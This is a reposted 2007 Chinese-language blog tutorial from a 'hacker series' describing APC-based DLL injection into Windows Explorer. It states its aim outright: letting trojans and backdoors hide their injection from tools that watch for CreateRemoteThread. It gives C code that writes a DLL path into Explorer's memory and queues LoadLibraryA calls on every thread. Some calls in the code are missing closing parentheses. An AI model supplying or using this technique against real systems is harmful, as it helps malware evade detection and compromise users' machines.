駭客系列教程之暴力注入Explorer(轉)

BSDLite發表於2007-08-17
駭客系列教程之暴力注入Explorer(轉)[@more@]  向一個執行中的程式注入自己的程式碼,最自然莫過於使用CreateRemoteThread,如今遠執行緒注入已經是氾濫成災,同樣的監測遠執行緒注入、防止遠執行緒注入的工具也舉不勝舉,一個木馬或後門啟動時向Explorer或IE的注入操作就像在自己臉上寫上“我是賊”一樣。

  使用者態程式碼想要更隱蔽地藏身於別的程式,就應該在注入的環節隱蔽自己的行為。下面就介紹一種非常簡單不過比較暴力的方法,給出的示例為在Explorer里載入自己的dll。

  首先提到的就是一個API:QueueUserAPC

DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // APC function
HANDLE hThread, // handle to thread
ULONG_PTR dwData // APC function parameter
;

  大家對這個API應該並不陌生,它直接轉入了系統服務NtQueueApcThread從而利用KeInsertQueueApc向給出的目標執行緒的APC佇列插入一APC物件。倘若KiDeliverApc順利的去構造apc環境並執行我們的程式碼那一切就OK了,只可惜沒有那麼順利的事,ApcState中UserApcPending是否為TRUE有重要的影響,結果往往是你等到花兒都謝了你的程式碼還是沒得到執行。在核心態往往不成問題,自己動手賦值,可是使用者態程式可不好做,怎麼辦?其實最簡單的,不好做就不做囉,讓系統去幹。

  實際上應用程式在請求“alertable”的等待時系統就會置UserApcPending為TRUE(當KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending時就有可能,此外還有KeTestAlertThread等,機會還是有的),最簡單的例子,目標執行緒呼叫SleepEx(***, TRUE)後我們插入APC程式碼就會乖乖執行了。

  比較幸運的是Explorer程式中一般情況下總有合我們意的執行緒,於是最簡單但並不優美的辦法就是列舉Explorer中所有執行緒,全數插入,示意如下:

......
DWORD ret;
char *DllName = "c:MyDll.dll";
int len = strlen(DllName) + 1;
PVOID param = VirtualAllocEx(hProcess, NULL, len,
MEM_COMMIT | MEM_TOP_DOWN,
PAGE_READWRITE);
if (param != NULL)
{
if (WriteProcessMemory(hProcess, param,
(LPVOID)DllName, len, &ret))
{
for (DWORD p = 0; p < NumberOfThreads; p ++)
{
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0)
{
InjectDll(hProcess, hThread, (DWORD)param);
CloseHandle(hThread);
}
}
}
......

其中InjectDll:
void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)
{
QueueUserAPC(
(PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll", "LoadLibraryA",
hThread,
(DWORD)param
;
}

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617542/viewspace-962826/,如需轉載,請註明出處,否則將追究法律責任。

相關文章